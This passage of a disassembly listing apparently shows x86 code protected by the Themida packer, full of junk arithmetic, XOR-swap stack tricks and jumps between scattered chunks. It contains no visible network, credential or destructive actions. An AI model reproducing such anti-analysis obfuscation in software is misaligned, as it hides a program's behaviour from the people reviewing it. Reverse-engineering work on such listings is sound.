mov edx, [esp]
push edx
push esp
jmp loc_5A1F2B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A51D7: ; CODE XREF: sub_59390B+6B68j
pop edx
add al, 12h
push [esp-16h+arg_C+2]
pop edx
add esp, 4
push ebx
jmp loc_598CD2
; END OF FUNCTION CHUNK FOR sub_59390B
; =============== S U B R O U T I N E =======================================
sub_5A51EA proc near ; CODE XREF: sub_5A085D-B306j
var_E = dword ptr -0Eh
var_8 = byte ptr -8
var_6 = word ptr -6
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00590E5A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00592C6A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005945C1 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00594ABD SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005958CB SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059591C SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00597294 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059A03F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059AB84 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059B796 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059D822 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059DE5A SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059E7F7 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059F3EB SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A0EA8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A15CA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A1785 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A17B8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A2081 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A3D02 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 005A4212 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A4692 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A5201 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A542E SIZE 0000000B BYTES
push ebx
mov bl, 0D2h
and al, bl
jmp loc_59F3EB
sub_5A51EA endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5933BB
loc_5A51F4: ; CODE XREF: sub_5933BB+1463j
sub ecx, eax
mov eax, [esp+4+var_4]
add esp, 4
jmp sub_59F294
; END OF FUNCTION CHUNK FOR sub_5933BB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A51EA
loc_5A5201: ; CODE XREF: sub_5A51EA-F8BBj
mov dword ptr [esp+8+var_8], edx
mov dl, 8Fh
and dl, 0F5h
and dl, 2
neg dl
sub esp, 2
jmp loc_5958CB
; END OF FUNCTION CHUNK FOR sub_5A51EA
; =============== S U B R O U T I N E =======================================
sub_5A5219 proc near ; CODE XREF: sub_59390B+A6CAj
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00592434 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00595B58 SIZE 00000006 BYTES
push ebp
xchg edx, [esp+4+var_4]
not edx
jmp loc_592434
sub_5A5219 endp
; ---------------------------------------------------------------------------
loc_5A5224: ; CODE XREF: Themida_:0059B298j
pop ecx
pop edx
pop ebx
push edx
mov dl, 3Fh
inc dl
jmp loc_592276
; ---------------------------------------------------------------------------
loc_5A5231: ; CODE XREF: Themida_:0059C564j
pop ecx
add [esp+4], ecx
pop ecx
push dword ptr [esp]
jmp loc_59BB6F
; ---------------------------------------------------------------------------
loc_5A523F: ; CODE XREF: Themida_:005A1879j
pop edx
push edi
jmp loc_591AE2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A5246: ; CODE XREF: sub_59390B+10E62j
xor edx, 65EE3F26h
dec edx
shl edx, 4
push edi
jmp loc_597A7E
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A5256: ; DATA XREF: Themida_:005907C4o
mov cx, [esp]
push 4B3Bh
jmp loc_59282A
; ---------------------------------------------------------------------------
loc_5A5264: ; CODE XREF: Themida_:005970ECj
mov eax, 93FF8EF3h
xor ebx, eax
mov eax, [esp]
add esp, 4
mov esi, ebx
jmp loc_5A1AF9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A5278: ; CODE XREF: sub_59390B-1327j
pop eax
shl edi, 2
shr edi, 3
sub esp, 4
mov [esp-0Ch+arg_4], ecx
push eax
push 15797F0Dh
pop eax
add eax, 2602891Eh
mov ecx, eax
pop eax
jmp loc_5974B2
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A529C: ; CODE XREF: Themida_:005A0F7Ej
xor edi, [esp]
mov esp, [esp]
mov [esp], eax
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], ecx
sub esp, 4
mov [esp], eax
jmp loc_59341E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A52C5: ; CODE XREF: sub_59390B-2B50j
mov eax, 2E243090h
add ecx, eax
mov eax, [esp+0]
add esp, 4
jmp loc_5A11FD
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A52D7: ; CODE XREF: Themida_:00595E2Ej
pop dx
push ebx
mov bl, 0C8h
add bl, 0C0h
not bl
push dx
push ebx
mov bl, 4Dh
sub bl, 0E2h
mov dl, bl
pop ebx
jmp loc_59722B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5936EC
loc_5A52F1: ; CODE XREF: sub_5936EC+19C5j
mov edi, 4
jmp loc_59121B
; END OF FUNCTION CHUNK FOR sub_5936EC
; ---------------------------------------------------------------------------
loc_5A52FB: ; CODE XREF: Themida_:0059C917j
sub edi, eax
push ecx
mov ecx, 7E9F49E5h
jmp loc_596C8A
; ---------------------------------------------------------------------------
loc_5A5308: ; CODE XREF: Themida_:0059D196j
mov edx, [esp]
add esp, 4
mov cl, 0B0h
jmp loc_5968C9
; ---------------------------------------------------------------------------
loc_5A5315: ; CODE XREF: Themida_:0059EE00j
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_5937AA
; ---------------------------------------------------------------------------
loc_5A5327: ; CODE XREF: Themida_:005919E4j
mov eax, 69502B15h
add eax, 3383272Ah
push eax
inc dword ptr [esp]
pop eax
xor eax, 2F776BDBh
shl eax, 4
jmp loc_5A34E4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A5343: ; CODE XREF: sub_59390B+4994j
mov ecx, ebx
mov ebx, [esp+0]
add esp, 4
push ebx
mov ebx, 6F6A180Fh
sub eax, ebx
mov ebx, [esp+0]
add esp, 4
add eax, ecx
push esi
mov esi, 6F6A180Fh
jmp loc_5A5A36
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A536C: ; CODE XREF: Themida_:005971DFj
shl eax, 1
jmp loc_5A4EB1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594A8D
loc_5A5373: ; CODE XREF: sub_594A8D+F726j
mov ecx, 0D69DCA91h
sub ebx, ecx
pop ecx
mov esi, ebx
mov ebx, [esp+0Ch+var_C]
add esp, 4
jmp loc_591BEC
; END OF FUNCTION CHUNK FOR sub_594A8D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A538B: ; CODE XREF: sub_59390B-10CCj
pop [esp-0Ch+arg_4]
pop esp
add esp, 4
push dword ptr [edi+1Ch]
push [esp-14h+arg_C]
push [esp-10h+arg_8]
pop ecx
sub esp, 4
mov [esp-0Ch+arg_4], ebp
mov ebp, esp
push ecx
mov ecx, 4
sub ebp, 61A0753Ch
add ebp, ecx
add ebp, 61A0753Ch
pop ecx
add ebp, 4
xchg ebp, [esp-0Ch+arg_4]
jmp loc_5A0D89
; ---------------------------------------------------------------------------
loc_5A53CA: ; CODE XREF: sub_59390B+6B6j
pop edx
add esp, 4
sub al, bl
push edx
push eax
mov al, 3Ah
push 4F5h
mov [esp-8+arg_0], edx
mov dh, 1Dh
jmp loc_59CF1F
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A53E6: ; CODE XREF: Themida_:0059A60Ej
sub esp, 4
mov [esp], ecx
pop esi
pop ecx
not esi
xor esi, 5BBA42A3h
xor esi, 0E08496B9h
add edx, esi
jmp loc_593830
; ---------------------------------------------------------------------------
loc_5A5406: ; CODE XREF: Themida_:0059474Aj
pop edx
xchg edi, [esp]
mov esp, [esp]
rol byte ptr [esp], cl
pushf
jmp loc_590A9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A5416: ; CODE XREF: sub_59390B+D1E8j
shl edx, 1
add edx, 0FF1DF580h
mov esi, edx
pop edx
jmp loc_59A5C9
; ---------------------------------------------------------------------------
loc_5A5426: ; CODE XREF: sub_59390B-19D5j
push eax
mov eax, esp
jmp loc_59D51D
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A51EA
loc_5A542E: ; CODE XREF: sub_5A51EA-9A52j
pop ecx
mov dh, al
pop eax
dec dh
jmp loc_592C6A
; END OF FUNCTION CHUNK FOR sub_5A51EA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A5439: ; CODE XREF: sub_59390B+E09Aj
mov [esp+0], ecx
push 5C6Ch
jmp loc_5923B5
; ---------------------------------------------------------------------------
loc_5A5446: ; CODE XREF: sub_59390B+B495j
mov eax, [esp+8+var_8]
add esp, 4
xor ebp, [esp+4+var_4]
xor [esp+4+var_4], ebp
xor ebp, [esp+4+var_4]
pop esp
shr eax, 8
xor eax, ecx
xor eax, edx
xor edx, eax
xor eax, edx
push edx
xor [esp+4+var_4], eax
xor eax, [esp+4+var_4]
xor [esp+4+var_4], eax
push eax
not [esp+8+var_8]
mov eax, [esp+8+var_8]
push edi
jmp loc_590DC0
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A547B: ; DATA XREF: Themida_:005909D8o
push dword ptr [edi+1Ch]
sub dword ptr [esp], 757711C2h
jmp loc_5A2232
; ---------------------------------------------------------------------------
loc_5A548A: ; CODE XREF: Themida_:00591C5Cj
mov [esp], edx
jmp loc_5A1C8F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A5492: ; CODE XREF: sub_59390B+2B7Ej
pop ebx
xchg esi, [esp-1Ah+arg_10+2]
mov esp, [esp-1Ah+arg_10+2]
push 2627h
mov [esp-16h+arg_C+2], edx
mov dh, 32h
add dh, 0AFh
add dh, 0FFh
xor dh, 79h
jmp loc_5916C7
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A54B1: ; CODE XREF: Themida_:00594B90j
not esi
jmp loc_59327E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A54B8: ; CODE XREF: sub_59390B+F853j
xor edi, [esp-10h+arg_8]
pop esp
sub ecx, 1EF22DF5h
sub esp, 4
mov [esp-10h+arg_8], eax
mov eax, 8EFBB60Dh
xor ecx, eax
pop eax
add ebx, ecx
pop ecx
push ecx
jmp loc_5A4CBB
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A54D9: ; CODE XREF: Themida_:0059992Cj
push esi
mov esi, edi
mov ecx, esi
mov esi, [esp]
add esp, 4
mov edi, [esp]
add esp, 4
add esi, ecx
push dword ptr [esp]
pop ecx
add esp, 4
push esi
push dword ptr [esp+4]
jmp loc_59E5E3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A5503: ; CODE XREF: sub_59390B+D4D9j
add esp, 4
add cl, bh
mov ebx, [esp+4+var_4]
add esp, 4
jmp loc_59AFA9
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A5516: ; CODE XREF: Themida_:005A39B7j
mov cx, [esp]
jmp loc_59AA94
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A551F: ; CODE XREF: sub_59390B+E063j
mov edi, 21BE2E31h
sub edi, ecx
pop ecx
push esi
jmp loc_5A2B2F
; ---------------------------------------------------------------------------
loc_5A552D: ; CODE XREF: sub_59390B+10B9j
push eax
mov eax, 4
mov ebx, eax
pop eax
sub ebp, 2ECB123Ch
jmp loc_594823
; ---------------------------------------------------------------------------
loc_5A5541: ; CODE XREF: sub_59390B+7274j
xor ecx, [esp-14h+arg_C]
xor [esp-14h+arg_C], ecx
xor ecx, [esp-14h+arg_C]
pop esp
mov ax, word ptr [esp-18h+arg_10]
push eax
jmp loc_5A3FC8
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A5555: ; CODE XREF: Themida_:00592F0Dj
mov edx, 52A96FF4h
jmp loc_5A4471
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59B2AF
loc_5A555F: ; CODE XREF: sub_59B2AF-7F26j
add edi, ebp
pop ebp
push ebx
mov ebx, 61561289h
push eax
mov eax, 5A213AF4h
or eax, 38FC1179h
xor eax, 1BAB2970h
xor ebx, eax
pop eax
sub edi, ebx
pop ebx
xor edi, [esp+4+var_4]
xor [esp+4+var_4], edi
xor edi, [esp+4+var_4]
pop esp
mov [esp+0], ebp
push edx
mov edx, 4C48393Ch
jmp loc_5A42D8
; END OF FUNCTION CHUNK FOR sub_59B2AF
; =============== S U B R O U T I N E =======================================
sub_5A5596 proc near ; DATA XREF: Themida_:00590A20o
pop dword ptr fs:[edx]
jmp loc_590A9B
sub_5A5596 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_5A559E: ; CODE XREF: Themida_:00598DA7j
add ebx, esi
jmp loc_5A39BC
; ---------------------------------------------------------------------------
loc_5A55A5: ; CODE XREF: Themida_:005A25A2j
push dword ptr [eax]
jmp loc_590A9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5936EC
loc_5A55AC: ; CODE XREF: sub_5936EC+10067j
shl ebx, 3
push ebp
mov ebp, 37F20B5Bh
shl ebp, 1
xor ebp, 1B4C48EDh
or ebx, ebp
pop ebp
shr ebx, 2
add ebx, 0C084042Ah
and eax, ebx
pop ebx
jmp loc_598FA2
; END OF FUNCTION CHUNK FOR sub_5936EC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A55D1: ; CODE XREF: sub_59390B+55A3j
or di, 69C0h
dec di
push bp
jmp loc_59CCEB
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A55DF: ; CODE XREF: Themida_:005A10E3j
mov ebp, [esp]
add esp, 4
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], esi
mov esi, 2
sub ecx, 588B4F9Dh
add ecx, esi
push ebx
mov ebx, 588B4F9Dh
jmp loc_59C435
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594D13
loc_5A5613: ; CODE XREF: sub_594D13+C5D5j
add edi, 0F1985889h
and ebp, edi
pop edi
not ebp
sub ebp, 6F448A5Ch
mov eax, ebp
mov ebp, [esp+0]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+4+var_4]
mov esp, [esp+4+var_4]
push ecx
jmp loc_59C7DE
; END OF FUNCTION CHUNK FOR sub_594D13
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A5641: ; CODE XREF: sub_59390B+953Fj
add edi, eax
sub edi, 13DA6117h
jmp loc_5930EF
; ---------------------------------------------------------------------------
loc_5A564E: ; CODE XREF: sub_59390B+EF9j
pop ecx
add ecx, 4
sub ecx, 4
xor ecx, [esp+10h+var_10]
xor [esp+10h+var_10], ecx
xor ecx, [esp+10h+var_10]
mov esp, [esp+10h+var_10]
mov [esp+10h+var_10], esp
add [esp+10h+var_10], 4
pop esi
push ecx
push esi
mov esi, 3B471F2Fh
not esi
jmp loc_594ED2
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59338E
loc_5A567A: ; CODE XREF: sub_59338E+7770j
push esi
mov esi, 55C62470h
jmp loc_59D784
; END OF FUNCTION CHUNK FOR sub_59338E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59731A
loc_5A5685: ; CODE XREF: sub_59731A+6171j
add ecx, 4
add ecx, 4
xchg ecx, [esp+4+var_4]
pop esp
xor esi, [esp+0]
xor [esp+0], esi
jmp loc_59419A
; END OF FUNCTION CHUNK FOR sub_59731A
; ---------------------------------------------------------------------------
loc_5A56A0: ; CODE XREF: Themida_:0059E43Bj
push ecx
mov ecx, 0CBE4848h
inc ecx
jmp loc_59754C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A56AC: ; CODE XREF: sub_59390B+8F32j
sub ecx, 60333C58h
add ecx, edx
add ecx, 60333C58h
sub ecx, 15254483h
push eax
mov eax, 0
add eax, ecx
xor [eax], ebp
pop eax
pop ecx
jmp loc_5A4DF7
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CAFB
loc_5A56D1: ; CODE XREF: sub_59CAFB-60BAj
mov eax, [esp+0Ch+var_C]
add esp, 4
jmp loc_596703
; END OF FUNCTION CHUNK FOR sub_59CAFB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A56DF: ; CODE XREF: sub_59390B+A571j
pop bx
sub cl, ah
jmp loc_5A0DE1
; ---------------------------------------------------------------------------
loc_5A56E8: ; CODE XREF: sub_59390B+CACFj
push edx
jmp loc_597C1E
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A56EE: ; CODE XREF: Themida_:005A303Ej
add edx, 4
sub esp, 4
mov [esp], edx
push dword ptr [esp+4]
jmp loc_59F168
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A5700: ; CODE XREF: sub_59390B+A6D6j
mov esp, [esp-0Ch+arg_4]
mov [esp-0Ch+arg_4], edx
mov edx, 1
or [edi+1Ch], edx
pop edx
loc_5A570F: ; CODE XREF: Themida_:00592A3Bj
push 0B53h
mov [esp-0Ch+arg_4], ebx
jmp loc_59ADE5
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CFD4
loc_5A571C: ; CODE XREF: sub_59CFD4+3495j
sub [esp+8+var_4], 4C5C30B6h
add [esp+8+var_4], 1AF641FCh
jmp loc_590C89
; END OF FUNCTION CHUNK FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A0D58
loc_5A5731: ; CODE XREF: sub_5A0D58-17C7j
mov ecx, esp
push edx
push edi
mov edi, 80870EAh
mov edx, 30EED359h
add edx, edi
pop edi
shr edx, 8
jmp loc_59C266
; END OF FUNCTION CHUNK FOR sub_5A0D58
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A3F6E
loc_5A574A: ; CODE XREF: sub_5A3F6E-F514j
pop [esp+4+var_4]
jmp loc_5A1C89
; END OF FUNCTION CHUNK FOR sub_5A3F6E
; ---------------------------------------------------------------------------
loc_5A5752: ; CODE XREF: Themida_:0059E80Cj
pop edx
add edx, ecx
push dword ptr [esp]
pop ecx
push edx
mov edx, esp
add edx, 4
jmp loc_59E31B
; ---------------------------------------------------------------------------
loc_5A5767: ; CODE XREF: Themida_:0059CCE6j
push esi
xchg edi, [esp]
inc edi
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esi
push 40F3h
mov [esp], edi
mov edi, 2086DB9h
push 0
sub [esp], edi
pop edi
dec edi
jmp loc_591625
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594A8D
loc_5A5792: ; CODE XREF: sub_594A8D+5CCCj
mov eax, 78930BC5h
shr eax, 8
xor eax, 5815261Ah
sub eax, 2DF147F5h
push ecx
mov ecx, 0B9E09BBFh
add eax, ecx
pop ecx
sub esi, eax
mov eax, [esp+0Ch+var_C]
add esp, 4
sub ebx, esi
pop esi
sub ebx, ebp
add ebx, 45094C95h
mov ebp, [esp+4+var_4]
jmp loc_5A3D33
; END OF FUNCTION CHUNK FOR sub_594A8D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_599F38
loc_5A57CB: ; CODE XREF: sub_599F38-8C22j
push [esp+0Ch+var_C]
jmp loc_59F40C
; END OF FUNCTION CHUNK FOR sub_599F38
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590AC5
loc_5A57D3: ; CODE XREF: sub_590AC5+B8FCj
mov ecx, 4
add [esp+arg_0], ecx
pop ecx
push [esp-4+arg_0]
pop ebx
sub esp, 4
mov [esp+0], edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+0]
pop esp
push 415Bh
mov [esp+0], ecx
mov ecx, 4
add ebx, ecx
pop ecx
push edx
mov edx, 65C019F9h
jmp loc_59140A
; END OF FUNCTION CHUNK FOR sub_590AC5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A5814: ; CODE XREF: sub_59390B+3737j
mov edi, [esp+14h+var_14]
jmp loc_5A2D7D
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A581C: ; CODE XREF: Themida_:0059106Fj
sub esp, 4
jmp loc_5992E1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FD45
loc_5A5824: ; CODE XREF: sub_59FD45-2C5Aj
cmp eax, edx
jz loc_5A5B94
push 261h
jmp loc_59612C
; END OF FUNCTION CHUNK FOR sub_59FD45
; ---------------------------------------------------------------------------
loc_5A5836: ; CODE XREF: Themida_:00599303j
mov edi, esi
mov esi, [esp]
jmp loc_59CC0D
; ---------------------------------------------------------------------------
loc_5A5840: ; CODE XREF: Themida_:005A195Dj
sub dh, 2Eh
add dh, 0C5h
add dh, ah
push ecx
mov cl, 0F3h
jmp loc_597D96
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CFD4
loc_5A5850: ; CODE XREF: sub_59CFD4+13DCj
mov edx, 2E512F80h
jmp loc_594BE0
; END OF FUNCTION CHUNK FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A585A: ; CODE XREF: sub_59390B+4843j
pop esi
add esp, 4
jmp loc_591107
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_598DC3
loc_5A5866: ; CODE XREF: sub_598DC3+8A14j
add ebp, ebx
mov ebx, [esp+8+var_8]
add esp, 4
xor ebp, [esp+4+var_4]
jmp loc_5966E6
; END OF FUNCTION CHUNK FOR sub_598DC3
; ---------------------------------------------------------------------------
loc_5A5876: ; CODE XREF: Themida_:00591011j
mov esi, 2
jmp loc_59E2A0
; ---------------------------------------------------------------------------
loc_5A5880: ; CODE XREF: Themida_:0059D9D9j
mov esp, [esp]
mov [esp], ebx
push esp
pop ebx
push edx
mov edx, 4
push eax
mov eax, 0C341C6h
add ebx, eax
pop eax
add ebx, edx
sub ebx, 0C341C6h
jmp loc_592800
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A0060
loc_5A58A4: ; CODE XREF: sub_5A0060-B5AFj
mov ebx, [esp-4+arg_0]
jmp loc_595DAE
; END OF FUNCTION CHUNK FOR sub_5A0060
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A3F6E
loc_5A58AC: ; CODE XREF: sub_5A3F6E-11D7Fj
push [esp-4+arg_0]
pop eax
push edi
push 6C99h
mov [esp+4+var_4], esp
jmp loc_59F6CA
; END OF FUNCTION CHUNK FOR sub_5A3F6E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A17BF
loc_5A58BE: ; CODE XREF: sub_5A17BF-4F52j
mov ebx, [esp+8+var_8]
jmp loc_5953B7
; END OF FUNCTION CHUNK FOR sub_5A17BF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CFD4
loc_5A58C6: ; CODE XREF: sub_59CFD4-89CEj
sub edi, 7EA57992h
push 6BAFh
mov [esp+4+var_4], edi
push ebx
sub esp, 4
mov [esp+0Ch+var_C], eax
mov eax, 3C384728h
mov ebx, eax
pop eax
sub [esp+8+var_4], ebx
jmp loc_5950C8
; END OF FUNCTION CHUNK FOR sub_59CFD4
; ---------------------------------------------------------------------------
loc_5A58EC: ; CODE XREF: Themida_:0059EF09j
pop eax
inc esi
jmp loc_59C2AC
; =============== S U B R O U T I N E =======================================
sub_5A58F3 proc near ; DATA XREF: Themida_:00590A24o
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00596C60 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059CC7C SIZE 0000003C BYTES
; FUNCTION CHUNK AT 005A50FE SIZE 0000000B BYTES
lodsd
jmp loc_596C60
sub_5A58F3 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592E1C
loc_5A58F9: ; CODE XREF: sub_592E1C+10147j
pop ebp
push ebp
mov ebp, 45D94B12h
jmp loc_597B10
; END OF FUNCTION CHUNK FOR sub_592E1C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A5905: ; CODE XREF: sub_59390B+150Dj
inc edi
shr edi, 4
inc edi
sub edi, 0D3C25524h
add edx, 13273F97h
sub edx, edi
sub edx, 13273F97h
mov edi, [esp+8+var_8]
add esp, 4
sub edx, 1
not edx
not edx
sub edx, 6DC96D53h
add ecx, 50991437h
jmp loc_596729
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A593C: ; CODE XREF: Themida_:0059A461j
pop edi
push 5BD4h
mov [esp], ecx
push ebp
mov ebp, 74BA7A05h
mov ecx, 74BA7A09h
sub ecx, ebp
pop ebp
add eax, ecx
jmp loc_596165
; ---------------------------------------------------------------------------
loc_5A595A: ; CODE XREF: Themida_:0059EB51j
pop eax
jmp loc_59DF68
; ---------------------------------------------------------------------------
loc_5A5960: ; DATA XREF: Themida_:005907E0o
lodsb
xor al, bl
push ecx
mov ch, 0ABh
jmp loc_593D7A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594A8D
loc_5A596B: ; CODE XREF: sub_594A8D-322Aj
push edi
mov edi, 0BC379B3h
neg edi
inc edi
dec edi
shl edi, 5
add edi, 0EC24B282h
and ebp, edi
pop edi
sub ebp, 0AE4A3E19h
sub esp, 4
mov [esp+8+var_8], esi
sub esp, 4
jmp loc_592A61
; END OF FUNCTION CHUNK FOR sub_594A8D
; ---------------------------------------------------------------------------
loc_5A5995: ; CODE XREF: Themida_:005A17DEj
mov edi, 194B3248h
jmp loc_59D961
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A2FE9
loc_5A599F: ; CODE XREF: sub_5A2FE9-10914j
mov ebx, [esp+0Ch+var_C]
add esp, 4
jmp loc_59ACDE
; END OF FUNCTION CHUNK FOR sub_5A2FE9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A59AA: ; CODE XREF: sub_59390B+A8ECj
xor ecx, 75C2D38h
sub ecx, 3D4A61A8h
or ecx, 76FD2769h
jmp sub_597C8E
; ---------------------------------------------------------------------------
loc_5A59C1: ; CODE XREF: sub_59390B-2795j
add esp, 4
jmp loc_591730
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A2552
loc_5A59CC: ; CODE XREF: sub_5A2552-AC7Bj
pop edi
xor ebp, [esp+0]
xor [esp+0], ebp
xor ebp, [esp+0]
mov esp, [esp+0]
push eax
jmp loc_59F00B
; END OF FUNCTION CHUNK FOR sub_5A2552
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A59DF: ; CODE XREF: sub_59390B+47j
push 6915h
jmp loc_599C33
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A59E9: ; CODE XREF: Themida_:0059E414j
sub ecx, 1005214h
jmp loc_59CB7E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A59F4: ; CODE XREF: sub_59390B+4BE0j
add esp, 4
pop [esp-1Ah+arg_10+2]
pop esp
add eax, 671363C3h
push edi
mov edi, esp
add edi, 4
jmp sub_59F4D4
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A5A0E: ; CODE XREF: Themida_:00596217j
add edx, ebx
sub edx, 0B101CEEh
pop ebx
xchg edx, [esp]
pop esp
jmp loc_596D8D
; ---------------------------------------------------------------------------
loc_5A5A20: ; CODE XREF: Themida_:0059B397j
mov esi, ebx
mov ebx, [esp]
add esp, 4
push esi
pop edx
pop esi
neg edx
shr edx, 6
push ecx
jmp loc_5A0BF4
; ---------------------------------------------------------------------------
